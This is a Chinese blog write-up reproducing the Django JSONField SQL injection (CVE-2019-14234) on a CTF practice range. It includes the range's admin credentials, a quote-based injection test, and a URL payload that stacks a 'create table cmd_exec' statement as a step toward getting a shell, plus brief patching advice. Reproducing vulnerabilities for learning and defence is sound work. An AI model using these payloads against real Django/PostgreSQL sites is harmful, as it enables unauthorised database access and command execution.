【WEB攻防】【CVE-2019-14234】Django JSONField SQL注入 复现

【WEB攻防】【CVE-2019-14234】Django JSONField SQL注入 复现,第1张

【WEB攻防】【CVE-2019-14234】Django JSONField SQL注入 复现

中华人民共和国网络安全法(出版物)_360百科中华人民共和国网络安全法,《中华人民共和国网络安全法》是为保障网络安全,维护网络空间主权和国家安全、社会公共利益,保护公民、法人和其他组织的合法权益,促进经济社会信息化健康发展而制定的法律。《中华人民共和国网络安全法》由中华人民共和国第十二届全国人民代表大会常务委员会第二十四次会议于2016年11月7日通过,自2017年6月1日起施行。https://baike.so.com/doc/24210940-24838928.html

目录

知识简介

过程

查找注入

命令执行(getshell)

防御方法


知识简介
  • Django是一个开放源代码的Web应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。

  • PostgreSQL是一个自由的对象-关系数据库服务器(数据库管理系统),Django一般PostgreSQL共同使用

  • 在Django中支持Postgresql的数据类型:JSONField、HStoreField、ArrayField

  • 该漏洞出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接,通过JSONField类获得KeyTransform类并生成sql语句的位置,因此可以进行SQL注入
     

过程

进入漏洞环境环境(在线靶场)

BMZCTF

查找注入

账户名为:admin
密码为:a123123123     (密码是后台设置的,因为环境不是我们搭的,但这个密码我看教程是这样固定的)

进入管理员后台

 点击Collections

 输入

url改为 ....../admin/vuln/collection/?detail__a'b=123

测试是否存在注入(加个单引号报错)

报错,这时后端执行的语句为

Collection.objects.filter(**dict("detail__a'b": '123')).all()
命令执行(getshell)
.......admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

这里已经执行了,只不过是没有这个文件。

防御方法

更新到最新版本,设置强密码,因为必须要登陆到管理员界面。


参考链接(详细学习的可以点这里)

CVE-2019-14234 Django JSonField SQL注入漏洞复现_m0_48520508的博客-CSDN博客

Django JSonField SQL注入漏洞(CVE-2019-14234)分析与影响 | 离别歌



作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5680482.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存